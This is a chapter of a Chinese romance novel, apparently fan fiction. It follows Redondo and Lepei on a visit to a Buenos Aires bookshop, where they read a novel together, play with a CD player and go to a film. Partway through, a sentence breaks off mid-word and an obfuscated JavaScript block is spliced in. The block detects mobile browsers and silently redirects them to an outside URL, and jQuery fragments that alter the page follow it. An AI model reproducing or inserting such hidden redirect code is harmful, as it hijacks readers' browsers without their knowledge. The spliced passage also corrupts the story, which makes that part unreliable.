很多人以为雷东多是个感情内敛的人，其实只是因为那些人和他的关系不够亲近，在面对家人和好朋友的时候，雷东多不吝啬表达自己的感情，当然，在球场上面对讨厌的对手，雷东多也会骂的很难听。


    他几乎每天都和爸爸妈妈通电话，他见过莱昂纳多被朋友骗了钱最窘迫的时候，莱昂纳多也差不多知道他和队友对手起过的每一次冲突，他是个感情充沛的阿根廷人，发自内心的感慨没什么好丢人的。


    所以他对乐佩说的那句话同样发自内心，他也不觉得那是一句过分的称赞，只能算是客观评价。


    乐佩穿着浅棕色的长风衣，不同于那天在街上短暂的一眼，也不同于她平时忙碌时的模样，额前的碎发被整齐地梳进发带里，像是从一株金黄的向日葵变成一束芬芳的百合花，只是站在那里就能让所有人注意到她。


    因为穿着带跟的长靴，她的步子变慢了一点，时间仿佛也跟着拉长，等她靠近打招呼，带着熟悉又安心的笑容，整张脸透着一层柔和的光。


    雷东多知道，无论什么时候的自己见到这样的乐佩，都会说出那句“你真漂亮”，只是说出之后他才意识到，乐佩的西班牙语听力不算熟练，不站在收银台后的时候，很多词语她都听不明白。


    所以乐佩对这句话没什么反应，只是抿嘴看着他笑。雷东多不想翻译成英语再说一遍，那样太刻意了，于是在向面色不善的胡安老板道别之后，他先一步打开副驾驶的车门，邀请乐佩上车。


    车上弥漫着一股别扭的氛围，不是尴尬，但让雷东多不太自在，直到他发现乐佩正在偷偷打量驾驶座的仪表盘，他早该知道乐佩不是一般的姑娘，向后让了让。


    乐佩被发现了也没有不好意思，凑得更近，雷东多相信她一定在想要摸一摸，就用她那双充满魔法的手。“这是你的车吗？看上去好棒！”


    “咳，这个其实是我哥哥的车，不过我也会开，你放心好了。”


    连出租车都没坐过几次的乐佩没什么不好放心的，“开车很难吗？”


    “只要知道什么时候踩哪个踏板，就没什么难的。”雷东多见她实在感兴趣，专门演示了怎么发动车子、6个档位分别是什么，“你看，这很简单，你这么聪明，一定很快就能学会。”


    “你怎么也像我叔叔他们那样说话？”乐佩没有说她今后或许很多年都买不起一辆车，也没有开车的机会，她压住上翘的嘴角，矜持地点点头，“我也这么觉得。”


    汽车开上街道，车厢里再没了一开始古怪的氛围，好像他们已经是认识很多年的朋友，只要坐在一起就会很放松。


    “剧院离这里很远吗？”


    “不算远，不过离电影开场还有好一会儿，”雷东多一边在心里默默想着路线，一边问乐佩的主意，“你想先去其他地方吗，五月广场，或者去看方尖碑？”


    “我想去看看布宜诺斯艾利斯大学，我还不知道一所大学该是什么样的，”乐佩觑着雷东多的表情，“这个是不是有点不方便？”


    雷东多没想到乐佩会这样选，心中一点隐秘的高兴很快被对母校的嫌弃掩盖，大概全世界的大学生都是一样的，当遇到其他人想参观校园的时候，都不理解这么普通的地方有什么好看。


    布大有一点不普通，她没有集中的校区，一年十几万本科生的入学量导致不同专业的学院只能坐落在布市的不同街区，也没有太多学生宿舍，所以除了法学院那个硕大又古老的图书馆，整座大学找不出另一个标志性建筑。


    “没有不方便，只不过布宜诺斯艾利斯大学和你想象的可能有点不一样，教学楼都在街边，普通到有时候我们上课都找不见位置。”


    乐佩理解了，有点失望地点头，雷东多飞快想到了另一个好地方，“或许你想去雅典人书店，那是阿根廷最大的书店，里面什么样的书都有，很多学生经常去那边看书！”


    乐佩果然对这些感兴趣，她的眼睛又亮起来，雷东多心下松了口气，庆幸乐佩没有继续追问布大，不然他这个总是翘课的人根本想不起来教室在哪儿。


    雅典人书店藏在闹市区的街角，这里的前身同样是个剧院，只不过过去十几年废弃了，这两年被市政府改造成了一座书店。


    一楼曾经的售票处没有书架，书都是一摞摞分堆放的，花花绿绿的封皮吸引着乐佩，哪怕上面的字一个都看不懂，硬皮书的精美封装摸着也让人着迷。


    这里放着的书都是给小朋友看的图画科普读物，还有成功学秘笈这种让人搞不懂的畅销书，雷东多第一次在这里停留，他的目光跟随着乐佩拿起来的书，“这是给小孩子学西班牙语的图书，讲的都是童话故事。”


    书的内页摸上去也很光滑，里面每一页都画满了图案，像是一部动画片印在上面，乐佩能大概猜出来讲了什么故事，给小孩子的书还能做的这么好看？就是这些小人的样子她有点接受不了。


    “这一本要多少钱？”


    雷东多低头去看标签，报了个数字，乐佩吐吐舌头，把书放了回去，这够她买一整套连环画还不嫌多，连环画上的小人看着更顺眼。


    雷东多更喜欢楼上的氛围，他伸手碰在乐佩的肩头，又一触即离，“走吧，楼上还有更多书。”


    顺着扶梯来到曾经剧院的中心，宽阔的大厅里曾经放满座椅的地方现在摆上了一排排书架，二层三层的圆弧形观众席也是同样，来往的人们不自觉压低声音，偌大的剧院只有书页翻动的声音和脚步声。


    乐佩的声音也变成气声，“你经常看的那些书都在哪里呀？”


    剧院的穹顶是一副色彩丰富的欧式壁画，没有大灯，他们在昏暗中路过一排排书架，停在写着“La Economía”的那一排，只书架前有灯明晃晃地照着，方便读者看书。


    “这里有不少老师推荐我们来看的书，比图书馆的书还要新，只可惜不能借，所以有时候我会在这里把书看完，如果不是写的特别好的话。”


    声音放轻之后必须靠近才能互相听清楚，乐佩穿上短靴后个子不低，雷东多微微侧身说话的时候，她也跟着偏头，从背后看脑袋刚好快要枕到他的肩膀上。


    雷东多的目光总会被乐佩吸引，所以他发现了这一点，说话的声音顿了一下，半晌才默默退开一步。


    他们又去了拉美著名文学作品所在的书架，相比于专业课的书籍这里更吸引他，“我已经读过不少了，但这里总会上新，好书永远都读不完。”


    乐佩点头，就像她喜欢看的那些小说，金庸琼瑶的书一本接着一本，看完了这些还有古龙，读完一本永远有新的冒出来，这些书在家长看来都不正经，他们只能偷偷看，一本书在班上能过十几个人的手。


    西班牙语的书乐佩当然看不懂，他们只是走马观花地一排排扫过去，等到了二楼才算见到英语书，至于想找中文书，恐怕要去的是唐人街的小书摊。


    雷东多得知乐佩也爱看书之后，热情地介绍了几个拉丁美洲的作家，他们还找到了翻译成英文的经典，最出名的当然是《百年孤独》。


    他们坐在一间狭小的空阅览室里，一起研究这本英文书，桌上还放着两杯冒热气的咖啡，剧院的舞台改成了咖啡吧，走进大厅就能闻见浓郁的咖啡香味，乐佩忍不住买上一杯尝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863593|191735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尝，结果只喝了一口就放到了一边。


    两个人的英语都没好到可以读下这本书，好在雷东多还记得原文的情节，两人磕磕绊绊地还能读下去，他们这些天说的大多都是英语，就算有雷东多没办法解释清的东西，乐佩的脑回路也能奇妙地对接上，明白他真正想要说什么。


    这确实是本很有意思的书，第一章只看了几页，吉普赛人拿来的磁铁就将乐佩的心神也吸了上去，六分仪和罗盘一出现，她就想到了磁场。雷东多比划着试图解释什么是炼金设备的时候，乐佩仿佛满脑子都是她看过的那些白大褂们做化学实验的视频。


    除了这些熟悉到让人亲切的东西，每一段剧情都走向她意想不到的地方，当雷东多念出那句疯疯癫癫的“地球是圆的，像橙子”时，乐佩咯咯地笑起来。


    雷东多很高兴乐佩喜欢这本书，虽然他不知道乐佩喜欢的点和他不太一样。乐佩甚至决定买这本书回去，哪怕它贵得吓人，叔叔给的这些钱拿回家她能买一整套新出的《康熙大帝》，再给朋友们也送一套。


    “你说这本书很出名，我觉得等我回去一定能找到它的中文版。”


    书店除了图书还有各种CD碟片，相比于看不明白的西班牙语，歌曲不需要听懂，也能靠音乐传递出充沛的感情。


    雷东多感谢自己昨天莫名其妙问哥哥借了CD随身听，乐佩接过一只耳机的时候左右看了看，学着雷东多的样子戴上，立刻就听到了清晰又动听的歌声，是不同于香港台湾歌手的另一种风格。


    “我喜欢这个旋律，虽然听不懂歌词，它让我想要出去跑两圈。”


    ““这确实是球场和训练场经常放的歌。”雷东多侧头，他看到乐佩微微阖上眼睛，脑袋跟着轻轻左右摇晃着打拍子，耳机里平时都快听厌烦了的歌声突然又变得悦耳起来，他闭上嘴。当乐佩的眼神落在了CD随身听上时，他默默将CD机推到乐佩手边，做着口型，“你可以打开看看。”


    “不用了，”乐佩有点不好意思，她不想表现得没见过世面。不过她误解了雷东多，因为他说：“我不知道这个和磁带随身听是不是一样的原理，但CD的音质更好。”


    原来是这个‘打开’，乐佩于是取出CD，拆开了这个莱昂纳多友情赞助的小玩具，CD机的内部结构看着要比磁带随身听复杂一点，乐佩害怕碰坏，只是虚指着零件简单解释了一下他们的原理，有些乐佩也不太清楚。


    雷东多变成了听讲的那个，这次他终于专心了一点，乐佩讲的很清楚，让他一瞬间产生了物理也没有很难的错觉。


    他看着乐佩再一次用双手施展了魔法，刚才被大卸八块的CD机恢复原状，CD还能正常播放，什么问题都没没有，就是刚冒出来的声音大的吓人，两个人懵了一会儿才手忙脚乱地将声音关小。


    安静的书店里这样的动静十足引人注目，有不太高兴的读者路过，想用眼神谴责一下这种不文明行为，但他没有在CD区发现人，只好悻悻地走开。


    躲到书架旁假装看书的两个人隔着摆放整齐的书丛上看向对方，不约而同地歪头偷笑起来，带着做坏事没有被抓住的一点点兴奋。


    在书店一不留神就待到了电影快开场的时候，雷东多没想到时间居然过得这么快，以至于他们赶去哥伦布剧院的时候他还想加速超车，但乐佩一点也不着急，“晚点也没关系，这说明我们下次看电影的时候就不会迟到了。”


    那句“next time”飘进雷东多的耳朵里，他也一点都不着急了，等到了剧院两人果然迟了一会儿，雷东多还是买了爆米花和饮料，他们这才走进黑乎乎的放映厅。